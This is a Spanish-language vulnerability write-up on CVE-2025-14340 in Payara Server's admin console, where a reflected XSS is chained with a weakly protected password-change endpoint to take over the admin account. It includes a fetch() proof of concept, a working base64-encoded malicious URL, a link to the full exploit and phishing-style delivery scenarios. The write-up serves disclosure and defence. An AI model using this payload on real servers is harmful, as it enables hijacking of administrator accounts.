Análisis rápido

Durante una revisión de la interfaz REST de administración de Payara Server se identificó una cadena de explotación en la que un XSS reflejado podía combinarse con un flujo inseguro de cambio de contraseña para derivar en takeover completo de la cuenta administrator. La severidad real del caso no estaba en una sola falla, sino en la forma en que varias decisiones de diseño reducían la resistencia del panel frente a ejecución de JavaScript en el mismo origen.

El impacto no dependía únicamente del XSS. La cadena se volvía crítica por la combinación de cuatro elementos:

- XSS reflejado en un endpoint administrativo
- Cambio de contraseña sin validar la contraseña actual
- Basic Auth enviada automáticamente por el navegador
- Protección anti-CSRF débil basada en X-Requested-By

En conjunto, esto permitía que un administrador autenticado, al visitar un enlace malicioso, terminara ejecutando una solicitud válida contra el endpoint de cambio de contraseña. Por esta vulnerabilidad me asignaron el CVE-2025-14340

XSS y el punto de entrada

El primer componente era un XSS reflejado en el endpoint de versión de la consola:

GET /management/domain/version?xss=<payload> HTTP/1.1
Host: panel.example.com:4848

En una consola de este tipo, un XSS no solo afecta la vista del usuario. También permite interactuar con funciones sensibles usando el mismo contexto autenticado del administrador.

El CSRF que convierte el bug en takeover

El segundo componente estaba en   /management/domain/change-admin-password . De forma resumida, el flujo aceptaba una solicitud similar a esta:

POST /management/domain/change-admin-password HTTP/1.1
Host:  panel.example.com:4848
X-Requested-By:GlassFish REST HTML interface
Content-Type:application/x-www-form-urlencoded

id=admin&newpassword=[REDACTED]&password=[REDACTED]

Lo problemático no era solo que cambiara credenciales, sino dos agravantes de diseño:

• No exigía la contraseña actual
• La “protección” anti-CSRF se basaba en   X-Requested-By           .

Ese header funcionaba como una cabecera personalizada para marcar que la solicitud provenía del frontend esperado. El problema es que no era un control fuerte frente a JavaScript malicioso ejecutándose same-origin.

¿Header  X-Requested-By ?

X-Requested-By era, en la práctica, la señal que el backend utilizaba para distinguir una solicitud “esperada” de una solicitud arbitraria.

La lógica era simple: si la request incluía la cabecera esperada, el servidor la trataba como legítima. Ese enfoque puede frenar algunos intentos externos básicos, pero deja de ser útil cuando un atacante consigue ejecutar JavaScript dentro del mismo origen de la consola.

A nivel práctico, el comportamiento observado podía resumirse en un payload como la siguiente POC.

fetch('/management/domain/change-admin-password', {

 method:   'POST',

 headers: {

'X-Requested-By':   'GlassFish REST HTML interface',

'Content-Type':   'application/x-www-form-urlencoded'

 },

 body:   'id=admin&newpassword=admin123&password=admin123'

});

Y ahí aparecía el punto crítico de la cadena: el backend aceptaba una solicitud con la cabecera esperada, mientras el navegador adjuntaba automáticamente las credenciales administrativas mediante Basic Auth.

https://panel.example.com:4848/management/domain/version?xss<script>eval(atob('ZmV0Y2goJy9tYW5hZ2VtZW50L2RvbWFpbi9jaGFuZ2UtYWRtaW4tcGFzc3dvcmQnLCB7CiAgbWV0aG9kOiAnUE9TVCcsCiAgaGVhZGVyczogewogICAgJ1gtUmVxdWVzdGVkLUJ5JzogJ0dsYXNzRmlzaCBSRVNUIEhUTUwgaW50ZXJmYWNlJywKICAgICdBY2NlcHQnOiAndGV4dC9odG1sJywKICAgICdDb250ZW50LVR5cGUnOiAnYXBwbGljYXRpb24veC13d3ctZm9ybS11cmxlbmNvZGVkJwogIH0sCiAgYm9keTogJ2lkPWFkbWluJm5ld3Bhc3N3b3JkPVAxMjM0JnBhc3N3b3JkPVAxMjM0Jl9fcmVtb3ZlX2VtcHR5X2VudHJpZXNfXz10cnVlJj1jaGFuZ2UtYWRtaW4tcGFzc3dvcmQnCn0pOw=='));</script>

Full exploit:  https://github.com/DeepSecurityResearch/CVE-2025-14340

Explotación y Same-Origin

La explotación no dependía de una petición cross-origin convencional, sino de la ejecución de JavaScript dentro del mismo origen de la consola administrativa.

¿Por qué el CSRF solo es explotable mediante el XSS?

Debido a que el endpoint usa Basic Authentication, explotarlo remotamente desde un origen externo es imposible:

- CORS bloquea requests cross-origin al endpoint de administración

- Basic Auth no puede forzarse desde otro dominio sin cooperación del navegador

- El header X-Requested-By no puede añadirse en requests cross-origin

Ese detalle era determinante. Una vez obtenido el XSS, el atacante podía interactuar con el endpoint de cambio de contraseña desde el mismo contexto que la interfaz legítima, incluyendo          X-Requested-By         y aprovechando el estado autenticado del administrador.

En ese punto, el XSS dejaba de ser un hallazgo aislado y se convertía en la primitive necesaria para comprometer directamente la cuenta administrativa.

Vectores de ataque

Campaña de Phishing Dirigido

Un atacante envía un email convincente con apariencia de "actualización de seguridad" que contiene el enlace malicioso. Cuando el administrador hace clic mientras está logueado, la contraseña se cambia silenciosamente.

Watering Hole

El atacante compromete un sitio interno frecuentemente visitado e inyecta un iframe invisible con el exploit. Al visitar el sitio, el exploit se ejecuta automáticamente en segundo plano sin indicación visible.

Supply Chain

Un atacante compromete la documentación de una herramienta usada por el equipo de operaciones. Al seguir un enlace de la documentación para troubleshooting, la cuenta queda comprometida.

Capacidades del Atacante con acceso a la consola de administración:

- Desplegar aplicaciones maliciosas (WAR/EAR files)

- Modificar configuración del servidor

- Acceder a datos de aplicaciones desplegadas

- Crear mecanismos de persistencia

- Extraer credenciales de datasources

Conclusión

CVE-2025-14340 demuestra cómo vulnerabilidades moderadas se convierten en críticas cuando se encadenan. Un XSS reflejado (severidad media) combinado con ausencia de protección CSRF (severidad baja-media) resultó en account takeover completo de administrador.

La falla no residía únicamente en el XSS reflejado, sino en la forma en que esa primitive podía encadenarse con una operación sensible insuficientemente protegida. En este caso, el resultado final era claro: un XSS en contexto administrativo terminaba habilitando el takeover completo del administrador.

Nota sobre el Coordinated Disclosure

Esta vulnerabilidad fue reportada siguiendo prácticas de divulgación responsable. El período de coordinación de 113 días permitió al vendor desarrollar y desplegar un fix antes de la divulgación pública. Sin embargo, el proceso presentó desafíos. A pesar del compromiso inicial del vendor de coordinar la publicación del CVE y asegurar la atribución apropiada, la comunicación fue inconsistente. El CVE fue publicado sin la notificación prometida y sin la atribución acordada, situación que se corrigió posteriormente tras solicitarlo. Esta experiencia subraya la importancia de: Políticas claras de disclosure Comunicación proactiva durante el proceso Respeto a los acuerdos de atribución Documentación exhaustiva de todas las interacciones